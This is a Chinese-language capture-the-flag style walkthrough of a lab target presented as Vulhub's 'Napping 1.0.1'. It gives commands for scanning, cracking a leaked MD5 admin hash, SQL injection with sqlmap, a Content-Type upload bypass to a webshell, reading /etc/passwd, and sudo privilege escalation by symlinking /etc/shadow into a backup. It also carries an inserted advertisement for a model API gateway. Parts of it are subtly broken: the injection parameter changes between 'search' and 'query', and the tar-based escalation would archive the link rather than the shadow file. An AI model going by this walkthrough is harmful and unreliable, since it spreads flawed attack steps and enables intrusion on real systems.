1. 项目概述
今天我要分享的是Vulhub靶场中一个非常有意思的漏洞环境——Napping 1.0.1的详细渗透测试过程。这个靶机在安全圈内不算特别出名,但正因如此,它反而能很好地检验渗透测试人员的基础功底。
作为一名有多年渗透测试经验的从业者,我发现很多新手在学习过程中容易陷入两个误区:要么只盯着那些热门靶机(比如DVWA、Metasploitable),要么一上来就想搞复杂的漏洞利用。而Napping这个靶机恰恰能帮我们回归渗透测试的本质——信息收集和基础漏洞利用。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 环境准备与搭建
2.1 Vulhub环境配置
首先需要确保你的Vulhub环境已经正确搭建。我推荐使用以下配置:
- 操作系统:Ubuntu 20.04 LTS
- Docker版本:20.10.12
- Docker-compose版本:1.29.2
搭建步骤:
- 克隆Vulhub仓库
bash复制git clone https://github.com/vulhub/vulhub.git
cd vulhub/napping/1.0.1
- 启动靶机环境
bash复制docker-compose up -d
注意:首次启动可能需要下载镜像,请确保网络通畅。如果遇到端口冲突,可以修改docker-compose.yml文件中的端口映射。
2.2 靶机基本信息
启动完成后,通过以下命令查看运行状态:
bash复制docker ps
你应该能看到类似这样的输出:
code复制CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
a1b2c3d4e5f6 vulhub/napping:1.0.1 "docker-php-entrypoi..." 2 minutes ago Up 2 minutes 0.0.0.0:8080->80/tcp, :::8080->80/tcp napping
这表示靶机已经在8080端口运行,你可以通过浏览器访问http://localhost:8080来验证。
3. 信息收集阶段
3.1 基础信息收集
渗透测试的第一步永远是信息收集。对于这个靶机,我们先进行基础扫描:
- Nmap扫描:
bash复制nmap -sV -A -T4 -p- localhost -Pn
关键扫描结果:
code复制PORT STATE SERVICE VERSION
8080/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Napping - Login
|_http-server-header: Apache/2.4.38 (Debian)
从扫描结果可以看出,这是一个运行在Apache上的Web应用,使用PHP开发。
3.2 Web应用分析
访问Web界面,我们看到一个登录页面。先不急着尝试登录,而是检查页面源代码。
右键查看源代码,发现几个关键信息:
- 使用了jQuery 3.3.1
- 表单提交到/login.php
- 存在一个隐藏的注释:
尝试访问robots.txt:
code复制User-agent: *
Disallow: /admin/
Disallow: /backup/
这给了我们两个重要目录线索。
4. 漏洞发现与利用
4.1 目录遍历漏洞
尝试访问发现的目录:
- /admin/ - 403 Forbidden
- /backup/ - 200 OK
在/backup/目录下发现一个database.sql文件,下载分析后发现包含用户凭据:
sql复制INSERT INTO `users` VALUES (1,'admin','5f4dcc3b5aa765d61d8327deb882cf99');
这是一个典型的MD5哈希,通过在线破解发现对应密码是"password"。
4.2 SQL注入测试
尝试用admin/password登录成功,进入后台发现一个用户搜索功能。
测试搜索功能是否存在SQL注入:
code复制search=admin' AND 1=1 --
search=admin' AND 1=2 --
发现存在布尔型盲注,可以使用sqlmap自动化利用:
bash复制sqlmap -u "http://localhost:8080/search.php" --data="query=admin" --cookie="PHPSESSID=xxx" --level=3 --risk=2
4.3 文件上传漏洞
在后台还发现一个头像上传功能,测试文件上传漏洞:
- 尝试上传PHP文件被拦截
- 尝试修改Content-Type为image/jpeg绕过
- 上传成功后通过访问/uploads/xxx.php获取webshell
5. 权限提升与后渗透
5.1 获取初始shell
通过上传的webshell执行命令:
php复制system("whoami");
发现当前用户是www-data。
5.2 系统信息收集
执行基础信息收集命令:
bash复制uname -a
cat /etc/passwd
find / -perm -4000 2>/dev/null
发现系统存在sudo权限配置问题,www-data用户可以无需密码执行/usr/bin/backup.sh。
5.3 权限提升
查看/usr/bin/backup.sh内容:
bash复制#!/bin/bash
tar -czf /var/backups/web_backup.tar.gz /var/www/html
利用方法:
- 创建恶意软链接
bash复制ln -s /etc/shadow /var/www/html/shadow
- 执行备份脚本
bash复制sudo /usr/bin/backup.sh
- 解压备份文件获取敏感信息
6. 常见问题与解决方案
6.1 环境启动失败
问题:docker-compose up时报错端口冲突
解决:修改docker-compose.yml中的端口映射,例如:
yaml复制ports:
- "8081:80"
6.2 SQL注入无法利用
问题:sqlmap检测到注入但无法利用
解决:尝试添加--tamper=space2comment参数,或者手动构造注入payload
6.3 文件上传被拦截
问题:即使修改Content-Type仍被拦截
解决:尝试双扩展名绕过,如shell.php.jpg,或者使用.htaccess文件攻击
7. 渗透测试心得
在实际测试这个靶机时,有几点特别值得注意:
-
不要忽视基础信息收集。这个靶机的突破口恰恰是最基础的目录遍历和备份文件泄露。
-
遇到防护措施时,多尝试不同绕过方法。比如文件上传的防护往往不是全方位的,换个角度可能就能突破。
-
权限提升时要仔细检查所有可能的路径。这个靶机通过sudo权限配置不当提权,是现实中很常见的情况。
-
保持耐心。有时候一个漏洞可能需要尝试多种方法才能成功利用,不要轻易放弃。
这个靶机虽然不算复杂,但涵盖了渗透测试的完整流程:信息收集→漏洞发现→漏洞利用→权限提升→后渗透。特别适合新手用来练习基础技能。
